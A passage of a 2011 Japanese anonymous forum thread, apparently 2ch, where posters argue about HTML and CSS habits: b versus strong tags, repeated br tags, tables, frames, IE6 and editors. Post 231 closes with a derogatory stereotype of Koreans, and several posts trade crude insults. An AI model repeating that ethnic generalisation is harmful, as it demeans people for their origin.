tableの代わりに多重dviにしてみたけど結局どっちも品が無いよね・・


132 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:54:08.59 ID: 66skE0zk0
今の時代もストリクターなんているんだね


133 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:54:56.06 ID: XJZtegZM0
要素に対して直接CSSを記述は、メンテナンス性の面から必ずしも否定出来るもんじゃねーだろ
こういうくだらねー事をつらつら言っていたXHTMLがオワコンになったというのにまだ言うのかw


134 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 13:54:59.40 ID: 2X5Af9OE0
>>125

http://html5.validator.nu/

The document is valid HTML5 + ARIA + SVG 1.1 + MathML 2.0 (subject to the utter previewness of this service).


完璧です


135 名前: 名無しさん@涙目です。(静岡県) Mail: sage 投稿日: 2011/04/19(火) 13:55:35.43 ID: mCeTNWT80
何かタグに気が利いてないんだよな

<ol>
<li>タイトル<br>コメント</li>
</ol>

1.タイトル ←この部分を太字にしてくれって要望があって
<li><strong>タイトル</strong><br>コメント</li> ってやったら

いや、「1.」も太字にしてくれって言われたから仕方なtableタグ使うことになった


136 名前: 名無しさん@涙目です。(福岡県) Mail: sage 投稿日: 2011/04/19(火) 13:56:12.19 ID: 63UWpnCi0
ブラウザごとに微妙に表示のされ方が違うのは嫌がらせだろうか


137 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 13:57:23.55 ID: EdXgE/VJ0
HTML1.0を使っている俺には関係ない話だ(^o^)ノ


138 名前: 名無しさん@涙目です。(石川県) Mail: 投稿日: 2011/04/19(火) 13:57:53.35 ID: kPPWju6+P
>>113
>>122
>>126
サンクス
さくらにするかな

それとも大して使わないから置換だけ大学の秀丸使うか・・・


139 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:58:03.24 ID: 4Tg7CAOFP
>>123
b要素は、特に強調したいという意図がない太字の場合はOK
ただし、「強調でない太字部分」自体が矛盾する場合が多い。強調したいならstrong要素。

それと、太字がたくさん使いたいならp要素のclassにでもboldプロパティ入れた方がよい


140 名前: 名無しさん@涙目です。(岡山県) Mail: sage 投稿日: 2011/04/19(火) 13:59:00.20 ID: PEL8HDWUP
>>134
はい

まぁ俺はstrict厨だけど、今からhtmlを勉強するならhtml5で良いと思う
阿部寛のホームページは、俺ならphp使って書き直す


141 名前: 名無しさん@涙目です。(USA) Mail: 投稿日: 2011/04/19(火) 13:59:07.76 ID: 4ED47tqN0
>>123
HTMLの考え方から行くと
「何を」太字にしたいかをクラス名なりIDにして
それをCSSで装飾する感じかなあ

How to showよりWhat to showの精神みたいな


142 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 13:59:35.42 ID: 6hET2hOF0
> 5. 改行を連続して使っている

すまんめんどくさくて・・・


143 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 14:00:46.59 ID: XJZtegZM0
>>142
一部の糞ブラウザで連続改行無視するとかいう糞実装している時に問題起こるくらいだからスルーでいいべ


144 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 14:01:21.06 ID: 66skE0zk0
>>134
最近はずいぶん簡素になったんだな
doctype宣言とかくそながかった記憶しかない


145 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 14:01:39.83 ID: zsntiMcR0
xhtmlからhtml5は別に大したことないが
css3覚えるのが怠い


146 名前: 名無しさん@涙目です。(岐阜県) Mail: 投稿日: 2011/04/19(火) 14:02:59.53 ID: Dh6m/vs40
掲示板とかブログとかだと連続
は仕方ないだろ


147 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 14:03:34.61 ID: /+v3Yi+B0
marqueeWWWWW


148 名前: 名無しさん@涙目です。(長屋) Mail: 投稿日: 2011/04/19(火) 14:04:00.07 ID: ftDH4RDE0
指定とはpxとptと%どれがいいんだよ
これじゃ読みにくいのか

td,tr{
font-size: 11pt;
color: #2f4f4f;
margin: 0pt;
word-break: break-all;
letter-spacing: 1pt;
line-height : 16pt;
}


149 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 14:03:59.58 ID: CSkIhVJg0
>>30
愛生会病院とプリンティ差し置いて何抜かすんだよ


150 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 14:04:13.14 ID: JTCzhcw60
>>91
タグ見つけて展開するマクロ組んだら即解析なのにな
それで思い出したけど、これどうやってんだろうっての解析したら
テーブルかなんかを恐らくワザとミスってたってのがあったな
真似したら身内から、ミスってんぞハゲって突っ込まれたけど


151 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/19(火) 14:05:04.54 ID: P9edEWT60
>>94
なるほど。タグをかじった程度だから1の文だけではわからなかった。サンクス。


152 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 14:05:33.50 ID: 2dc4rnvN0
いい悪いというかしっかり表示されているかどうかを優先しているぞ


153 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 14:05:56.98 ID: fbe185Fp0
idはともかくpとかをclassにしたりCSSのほうで直接狙い撃ちするよりdivで括った方がやっぱ良いの?


154 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 14:06:20.32 ID: uHGNPCfC0
連続<br>否定厨は的を射る厨と同じ臭いがする


155 名前: 名無しさん@涙目です。(長野県) Mail: 投稿日: 2011/04/19(火) 14:06:55.90 ID: eNe0nkNQ0
>>148
line-heightは単位なしでいい
理由は忘れた


156 名前: 名無しさん@涙目です。(関西地方) Mail: sage 投稿日: 2011/04/19(火) 14:08:10.60 ID: /wOpMSfl0
<b>とか<i>とかがよくないとされる理由は「見た目」と「文章の意味」を切りわけるためだ。

例えば<b>オッス!</b>と書くのと<strong>オッス!</strong>と書くのでは見た目は同じ。

でも例えば目の不自由な人がいて音声読み上げソフトでその文章を読み上げる時に
前者だとただの太字なのか、それとも強調したいから太字なのか
「意味」がタグに入ってないからわからない。

でも後者なら「強調」って意味が入ってるからソフトは「声を大きくして読み上げれ」って正しく解釈できる。

他にはHTML作者が「強調部分はやっぱ太文字じゃなくて赤文字」にしようって思った時に
CSS部分で単純な<b>→<font color=red>のテキスト置き換えよりずっとスマート。

やっぱり理想的には文章の構造・意味と見た目は綺麗にわけるべきだよ。


157 名前: 名無しさん@涙目です。(岐阜県) Mail: 投稿日: 2011/04/19(火) 14:08:46.38 ID: Dh6m/vs40
ぶっちゃけ文字コードだけちゃんと書いてあればどうでもいいよ


158 名前: 名無しさん@涙目です。(USA) Mail: 投稿日: 2011/04/19(火) 14:09:31.74 ID: 4ED47tqN0
>>151
でもHTML5で変更されると書いてあるね
これは自分も知らなかったので勉強になった


159 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 14:09:36.77 ID: CDTvn6iE0
気にするのは作ってる奴だけで、見てるこっちは気にしねえよ


160 名前: 名無しさん@涙目です。(長屋) Mail: 投稿日: 2011/04/19(火) 14:09:57.41 ID: aPZbPQfg0
</XPLAINTEXT>
携帯厨に懐かしいタグ


161 名前: 名無しさん@涙目です。(岡山県) Mail: sage 投稿日: 2011/04/19(火) 14:10:25.90 ID: PEL8HDWUP
>>148
fontは%、marginはpx(0の場合は単位を付けない)、line-heightは単位なしかと思ってる
letter-spacingとか使わね


162 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 14:10:33.35 ID: nC+3mrQGP
まあ実際音声読み上げソフトなんて使ってるのなんてそうそういないから
小規模・個人のウェブサイトならこまかいこと気にしないでいい


163 名前: 名無しさん@涙目です。(東日本) Mail: 投稿日: 2011/04/19(火) 14:11:22.92 ID: uGLKegYY0
>>116
うるせーよ屑。


164 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 14:11:26.47 ID: 4Tg7CAOFP
>>153
HTMLの要素にはそれぞれ意味があるから、pがいいとかdivがいいとかは
決められない。

p要素はパラグラフの意味だから文章や文字に使われるし、
divは大きくレイアウトをくくる用途が多い。

一般的にdiv厨とか言われている奴らはHTMLタグのここの意味を理解せず
何でもdivにする奴ら。そういう奴らはCSS段階で他人に迷惑をかける。


165 名前: 名無しさん@涙目です。(埼玉県) Mail: 投稿日: 2011/04/19(火) 14:11:42.71 ID: WdFebScj0
一昔前までは地元警察署のホームページとか
どう見ても個人のホームページみたいなつくりだったな。
洋ゲーテイストのgifアニメがふんだんに使われてたりしてww


166 名前: 名無しさん@涙目です。(広西チワン族自治区) Mail: 投稿日: 2011/04/19(火) 14:11:58.67 ID: rnFxiuhhO
http://www.thecityhotels.com/


167 名前: 忍法帖【Lv=11,xxxPT】 (東京都) Mail: 投稿日: 2011/04/19(火) 14:12:34.97 ID: 2LLccSzK0
未だにテーブルタグが上手く利用できない
あのダッセー枠組みでしかテーブル作れないわ


168 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 14:13:48.68 ID: ZalFNSqw0
自分が見やすくするためにインデントを付けていたら
途中からわけがわからなくなった


169 名前: 名無しさん@涙目です。(埼玉県) Mail: sage 投稿日: 2011/04/19(火) 14:15:21.21 ID: HAo63DeS0
個人のHPを晒すのはちょっと気が引けるが
ttp://hirobee.oops.jp/hirobee/top.htm
※音が出ます


170 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 14:17:51.32 ID: 2X5Af9OE0
>>166
ソース見たらFONTタグの嵐でワロタ
ここまでひどいのもなかなか無いぞw


171 名前: 名無しさん@涙目です。(東日本) Mail: 投稿日: 2011/04/19(火) 14:19:50.30 ID: uGLKegYY0
なんでもかんでもpで括っときゃいい、文脈無視してpをぶち込む、、1行ごとにpで括るてなの見せられたら、
誰でもp嫌いになるよ。


172 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 14:20:00.56 ID: v4sUfSIv0
>>169 
ネット黎明期の個人ホームページっぽくて懐かしいじゃないか。最近のウェブサイトは以前に比べるとだいぶシンプルになってきてるよね>レイアウト


173 名前: 名無しさん@涙目です。(関東・甲信越) Mail: 投稿日: 2011/04/19(火) 14:20:46.32 ID: Li5SwXhRO
してはいけない(戒め)


174 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 14:20:52.70 ID: 25fRN5WS0
>>34
まって たすけて
おもい


175 名前: 名無しさん@涙目です。(岡山県) Mail: sage 投稿日: 2011/04/19(火) 14:21:16.04 ID: PEL8HDWUP
>>169
css使ったらソースがまとまりそう
後、フッターのコピーライトのリンクが文字参照になってるよ


176 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 14:22:06.08 ID: DWgjs2jn0
>>30
個人でメンテできるのはこれが限界だよな。


177 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 14:23:58.29 ID: mPmFPr+CP
IE6爆発しろ!

といって叫ぶコーダーの集会場はここですか?


178 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 14:25:51.45 ID: aKTPr/qp0
よくわかんないけどSEOのアレがアレだから良くないんじゃないの?


179 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 14:32:36.95 ID: uaw5envV0
スタイルシートでいちいち間隔指定するより
<br>連続の方が100倍簡単じゃん


180 名前: 名無しさん@涙目です。(関西地方) Mail: 投稿日: 2011/04/19(火) 14:33:11.43 ID: cJQvYuXt0
今どき個人ホームページ作る人もいなさそうだから
htmlを勉強しようと思う人も少なそう

ブログやmixi登場あたりで個人サイトを作る必要性が亡くなった


181 名前: 名無しさん@涙目です。(和歌山県) Mail: sage 投稿日: 2011/04/19(火) 14:33:12.12 ID: ZvjL26Cj0
これはまとめサイトにのらない


182 名前: 名無しさん@涙目です。(岡山県) Mail: 投稿日: 2011/04/19(火) 14:34:33.92 ID: PEL8HDWUP
>>178
marquee、blonk、font、b、i等の要素は文字の装飾の意味が強いかつソースが長くなるから、
google先生が嫌うのでしょう
bの代わりにstrongを使えば「強調」の意味合いが付いてSEO的に良いとかうんたらかんたら


183 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 14:35:10.32 ID: nLiZ6uxL0
秀丸は好きなんだけど
派遣で現場によっちゃ、ライセンスの都合で使わせてもらえないんだよなあ
俺個人で持ってるって言っても1ライセンス1PCだから
会社のPCに入れちゃ困るとか。確かにその通りなんだけど
だからSAKURAに移行したけどマクロが…
PASCALなんてもう覚えてないよ…


184 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 14:35:21.07 ID: Ii0tJnfcP
<tabel>の中に<table>は携帯でも閲覧可能にしようと思ったらやってはいけない


185 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 14:42:26.00 ID: nELiCE7H0
しかし、ホームページビルダーってなんで叩かれるんだろうな

タグ打ち至上主義って、「苦労した奴がえらい」っていう変な美意識だろ


186 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 14:45:17.91 ID: wB/LPkvl0
<br>でなくて<br />しろとか言うんだろ?
わけわからん


187 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 14:46:03.74 ID: cH6o63Wb0
>>185
今でもそんな奴いんの?


188 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 14:47:19.33 ID: Zj27uane0
>>180
そういうのを使う層は例え、ソレがなくてもhtml勉強する事は無いだろ


189 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 14:48:47.08 ID: nC+3mrQGP
そもそもDreamweaver以外に選択肢がない


190 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 14:55:13.80 ID: g2VWePBT0
>>158
正直HTML5でbやiが復活する意味が分からない。


191 名前: 名無しさん@涙目です。(長屋) Mail: 投稿日: 2011/04/19(火) 14:55:58.69 ID: ftDH4RDE0
>>185
エクセルの関数手打ちしてたらボロクソ言われた記憶がある
手打ちのほうが内容が頭に入ってくるから使っているんだけどね


192 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 14:56:46.50 ID: mPmFPr+CP
adobeになってから糞化する一方のDreamweaver…orz


193 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 14:58:42.03 ID: uaw5envV0
DreamweaverよりCodaって奴がいいって聞いたけど
どうなの?


194 名前: 名無しさん@涙目です。(関東・甲信越) Mail: 投稿日: 2011/04/19(火) 15:04:09.11 ID: AqhINHKVO
>>190
W3C「便利なHTML、みんな使ってね」
みんな「わーい」
W3C「みんな適当に書きすぎ。ルール厳しくするわ」
みんな「めんどくさ。それより機能増やせよ」
W3C「XHTML作りました。ルール超厳しいからみんな使えよ。古いタグ廃止な」
みんな「まるで話聞いてくれないから俺らで新しいHTML作るわ」
W3C「えっ」
みんな「これがHTML5の仕様な。宣伝よろ」
W3C「なにそれこわい」


195 名前: 名無しさん@涙目です。(千葉県) Mail: sage 投稿日: 2011/04/19(火) 15:05:07.51 ID: X8PIaf/20
ブラウザーやバージョンごとに見え方が違うのは何とかならないの?


196 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 15:06:37.66 ID: 4Tg7CAOFP
>>193
codaはmac専用だから、IEのテスト環境を別途用意できるならOK
出来ることはほとんど一緒だけど、就職するつもりならdreamweaverの方
覚えた方が特。


197 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 15:06:55.37 ID: 2X5Af9OE0
そもそもHTML5でiframeがOKなのにframeがダメとか意味がわからん
frameは次の規格で正式に復活させるべき


198 名前: 名無しさん@涙目です。(福岡県) Mail: sage 投稿日: 2011/04/19(火) 15:07:36.14 ID: Px67DNU80
・floatとpaddingを同時に指定しない
・borderは極力使わない
・clear:both;は使ってはならない

このくらいしか思いつかないな


199 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 15:08:46.63 ID: ZzL62aYz0
インターネットブラウザが乱造されまくり、アップデートされまくり、
そしてウェブの企画がグダグダ。

ウェブって崩壊しそうじゃね?


200 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 15:11:17.98 ID: slB/AJMj0
要は内容だよね


201 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 15:12:04.84 ID: R7TJFagf0
してはいけない(戒め)


202 名前: 名無しさん@涙目です。(神奈川県) Mail: sage 投稿日: 2011/04/19(火) 15:12:32.25 ID: EJgD+3JP0
おっぱいおっぱい


203 名前: 名無しさん@涙目です。(大阪府) Mail: 投稿日: 2011/04/19(火) 15:12:44.04 ID: CChP/7Oo0
なつかしいな
寝助使いが怒り出すんだよな


204 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 15:12:49.85 ID: IOpsEZjE0
おまらお勧めのjqueryかいてけよ


205 名前: 名無しさん@涙目です。(福岡県) Mail: sage 投稿日: 2011/04/19(火) 15:13:37.46 ID: Px67DNU80
IE6対応の非生産的さは筆舌に尽くしがたい


206 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 15:15:40.74 ID: g2VWePBT0
>>195
IE6爆ぜろ。
CSSハックや条件付きコメントでチマチマ対処していくしかないお・・・

>>197
frameはframesetページを無視して直接コンテンツに飛ばれると、その後身動きが取れなくなるから、ユーザービリティが著しく低い。
同じ動きを再現するなら、CSSのposition:fixedってやり方がある。
実際は、画面解像度の関係とかであまりおすすめしないけど。


207 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 15:16:25.78 ID: 4Tg7CAOFP
>>197
frameは、特定フレームをあたかも自分のサイトかのように騙って
利用する悪意あるユーザーが続出したのでいずれは消える運命だった。

iframeも同様のことが言えるけど、動的なアクションと相性が良すぎて
消すに消せなくなった。


208 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 15:19:58.60 ID: Y1XnMqCc0
サイト運営メモ
http://siteuneimemo.web.fc2.com/

自分を卑下しない

例)
「普段誰も来ないのに、こんなサイトを見て下さってありがとうございます」
「下手な絵ですみません」

誰も来ない(=アクセス数が少ない)ことをわざわざ明らかにしても訪問者に過疎っているというイメージを植え付けるだけで何の得もありませんし、
下手なのは見ればわかります。慰めてくれと言っているようで見るに堪えません。控えましょう。


209 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 15:21:15.69 ID: DWgjs2jn0
>>188
昔はあんな便利なもんはなかったからな。なんかしようと思ったらHTMLの勉強は必須だった。


210 名前: 名無しさん@涙目です。(新潟県) Mail: sage 投稿日: 2011/04/19(火) 15:26:17.57 ID: 2X5Af9OE0
>>206-207
そのへんは作り手の如何に関わる部分であって、
例えば今使っているJaneなんか2~3ペインでウィンドウ分けたりしてるじゃない?
ブラウザが実装している機能としては、自由にフレームの境界を動かして見たい領域を動かせるのは
非常にいいと思うんだがなあ

WEBメーラーとか、例えば政府の法庫.comとか
http://www.houko.com/
WEBアプリ全盛時代にはぜひともほしい機能だと思うんだ


211 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 15:27:18.18 ID: BnE9Imln0
<b>タグ廃止しろ


212 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 15:30:55.46 ID: 5WVFNlDR0
じゃあ<b>タグなんて作るなとおもう日々。


213 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/19(火) 15:34:40.48 ID: vQjzdnZu0
>>212
まあニートだって作る段階のときはまさか不必要で邪魔な存在になるとは親も思ってなかっただろうし


214 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 15:34:59.02 ID: g2VWePBT0
>>210
そう言うのは、コンテンツ側じゃなくて、ユーザーサイドで実装すべき機能なんだよ。
それも、出来ればアドオンで。


215 名前: 名無しさん@涙目です。(岡山県) Mail: 投稿日: 2011/04/19(火) 15:36:36.26 ID: PEL8HDWUP
>>210
っjavascript、ajax


216 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 15:36:44.81 ID: 4Tg7CAOFP
>>210
> ブラウザが実装している機能としては、自由にフレームの境界を動かして見たい領域を動かせるのは
> 非常にいいと思うんだがなあ

その発想がIEとネスケのくだらない仕様追加合戦を招いたんだよ。
ユーザビリティやセキュリティ無視して競い合う時代はやめて
統一仕様でいこうってことになって、遥か昔に終わった議論。

今はタグの最小の意味付けで、後は技術者やデザイナーの力量で自由に
頑張ってくれってことになった。それが、jQueryとかのライブラリにつながってる。
お前が好きなフレームも今ではHTMLなんぞ使わずとも出来る。


217 名前: 名無しさん@涙目です。(北海道) Mail: 投稿日: 2011/04/19(火) 15:41:13.80 ID: db3JP84q0
>>209
よくあるHTMLタグのサンプル集見ながら
楽天のレンタルスペース借りてタグSUGEEEってはしゃいでたわw

infoseekとかネット黎明期の有益なサイトも多かったのにサービス終了で悲しんだ。


218 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 15:42:42.38 ID: bHU7Qmjt0
最近CSS3を調べたんだけどスゲーなこれ


219 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 15:43:46.07 ID: nC+3mrQGP
そういうタグのサンプル集みたいな教え方してるサイトは、解説してる本人もHTMLを理解しないで書いてることが多い


220 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 15:44:43.52 ID: 5WVFNlDR0
>>216
全く書いてることに反論はないが、なんか不毛な歴史をやってる気がする。
時々思うのだが「ブラウザでこんなこと出来たぜ!出来るぜ!」って話って
10年も前のPCでもできてたような話でさ…冷静に考えたら何が嬉しいのかと。

>>213
ごもっともだけど、じゃ何が原理なのかとw


221 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 15:44:56.60 ID: DWgjs2jn0
>>219
金貰って仕事しててもよく理解してないぞ。


222 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 15:47:45.13 ID: DWgjs2jn0
>>220
結局テキストベースで装飾を廃し、シンプルに情報を伝える事に回帰してるな。
SEO的にもそうなるしかないし。


223 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 15:48:30.65 ID: N3S5B2uH0
IE6でもレイアウトが破綻しないようなコーディングができれば十分
何で見てもまったく一緒にしようというのがプロというなら俺は素人です、はい


224 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 15:52:47.31 ID: 5WVFNlDR0
>>222
んー、まあそういう話をしたんじゃなくて、普通のアプリだったら当たり前に出来てたようなことを
ブラウザ上で再現することに腐心するむなしさというか。例えば、メニューにマウスオーバーしたときに
フェードで表示される…なんて言うのをjQuery使えば簡単にできるようになりました!おお、やったね!
みたいな話って冷静に考えたらむなしくね?

それはそうとして、Web屋はそういうSEO的な概念から装飾と構造は分けるべきで…みたいな事言うし
それが正しい側面があるのもわかるけどさ、それだけが正義みたいなのもおかしいよね。
まあ企業サイトとかビジネス寄りなのはそれでいいけど、すべてがそうあるべきみたいなのは実にばかばかしいと思う。


225 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 15:56:27.92 ID: 3DyWJylV0
まだ愛生会病院のURLが貼られていないなんて、お前らには失望させられたよ。
ttp://www.aiseikai.or.jp/ (ブラクラ注意)


226 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 15:57:11.85 ID: OtIMrlgb0
Webクリエイター上級の資格取ったのにHTML、CSSの記憶がない。


227 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 15:57:12.82 ID: uaw5envV0
<br>連続が駄目な理由で
納得のいく奴を見たことがない


228 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 15:59:08.26 ID: nLiZ6uxL0
>>217
そう言う時が一番楽しかったな
その後、公開オナニーなサイト作る、掲示板設置
叩かれるのも辛いけど、定期的にコメント書く人が出て来る
なんか好き勝手にアドバイスされて、段々煩わしくなる
それで更新も面倒になってやめる
mixiとかはいいよ、誰も構ってくれないから気楽だw


229 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 15:59:36.24 ID: bHU7Qmjt0
>>224
インストール不要ででこることが増えることの意味がわからないお前が馬鹿なんだよ


230 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/19(火) 16:03:06.77 ID: B16SNfAt0
昔はタグ打ち最強ホームページビルダー()笑
とか言ってたけどdreamwaverが便利過ぎてタグなんかもう打たないわ


231 名前: 名無しさん@涙目です。(大阪府) Mail: 投稿日: 2011/04/19(火) 16:03:31.85 ID: 3zcbutc/0
<strong><strong><strong><strong>北朝鮮人民民主主義共和国</strong></strong></strong></strong>

割と公的な場所で北朝鮮がマジでこれやってたのはフイタ
実際はもっと何重にもstrongで囲んでた
SEO狙いなのかどうか結局不明だったけど
いかにも必要以上に強さをアピールする朝鮮人らしい


232 名前: 名無しさん@涙目です。(内モンゴル自治区) Mail: 投稿日: 2011/04/19(火) 16:04:12.81 ID: rGyENZqH0
>>225
ぷりんてぃんも


233 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 16:05:10.90 ID: 5WVFNlDR0
>>229
いや、お前もう少し考えてみろよ。
それをメリットだと思い込まされてるだけだろ。
インストール不要のために一体何で個人個人がこんな不毛な努力してるんだ?
おまえはそんなにマウスオーバーでフェードするのが嬉しい?
OSが搭載してるようなメニューを延々と長いコード書いて再現するのが嬉しい?ばかじゃね?
人として根源的な問題で、そんな単純なことすら考えないお前が
「インストール不要でできるんだぜ」って喜んでるんだろうな。


234 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 16:05:56.70 ID: fFOSOYz00
以前に2chでタグが使えた事件というのはなんだったのか


235 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 16:06:07.35 ID: 5WVFNlDR0
>>231
そういうのは面白いアプローチだよなw
もちろん間違ってると思うがw


236 名前: 【東電 83.2 %】 (神奈川県) Mail: sage 投稿日: 2011/04/19(火) 16:11:38.30 ID: uCYDpUFd0
>>234
kwsk


237 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 16:12:45.43 ID: g2VWePBT0
今年は終わっちゃったけど、毎年エイプリルフールは各サイトを巡回してソース見るのが楽しい。


238 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 16:14:16.65 ID: ykhYWRKX0
意味をマークアップする言語に乗っかってレイアウトが出来るという誤解


239 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 16:18:03.69 ID: WJy9VLls0
俺が個人でやってるサイトは、htmlもcssもばっちりでjQueryでヌルっとかっこよく決まってるのに
>>4 みたいなページ構成から抜け出せないw 100の質問はさすがに無いけど。


240 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 16:19:58.70 ID: 4Tg7CAOFP
>>227
マジレスすると、
HTMLはページの構造をになうもの、スタイルシートがページを装飾するもの
jsが動的な部分を、みたいな分離思想が広まって、レイアウト部分をになう
スタイルシートのmarginやpaddingでそういうのやろうってことになった。

これの何がいいかって言うと、px単位で正確にレイアウトできるから
br連打で発生するブラウザ間のややこしい見た目違いが減る。

それと、brレイアウトは、floatレイアウトで素人が作るとbrが機能しない
とか騒ぐ。当たり前だっておもう。


241 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 16:20:09.91 ID: nC+3mrQGP
そもそも作る目的がないんだろ
そりゃそうなるわ


242 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/19(火) 16:21:39.75 ID: mvVJe1aL0
このスレは割と危険


243 名前: 名無しさん@涙目です。(愛媛県) Mail: 投稿日: 2011/04/19(火) 16:21:51.84 ID: ss2qTUPs0
strong{
font-weight:normal;
}


244 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 16:24:20.53 ID: ABvPAEgR0
htmlをプログラミング言語と思ってるアホなんなん


245 名前: 名無しさん@涙目です。(広西チワン族自治区) Mail: 投稿日: 2011/04/19(火) 16:25:39.86 ID: oQwUdldrO
>>225
なにこれこわい


246 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 16:28:14.11 ID: aL82rIS/0
html書く時って

  こんな風に 

      端を揃える必要って




        ないの?


247 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 16:28:27.53 ID: zhJo+C2k0
生産性が下がるだろ


248 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 16:28:39.58 ID: 4BSI2bvm0
>基本brタグは2つ以上連続して使用してはいけません。

うるせーな面倒くさいんだよバカ


249 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 16:30:15.79 ID: uaw5envV0
>>240
px単位で指定なんかしたくないし
単純に

250 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 16:30:37.88 ID: s7gNm0f20
>>4
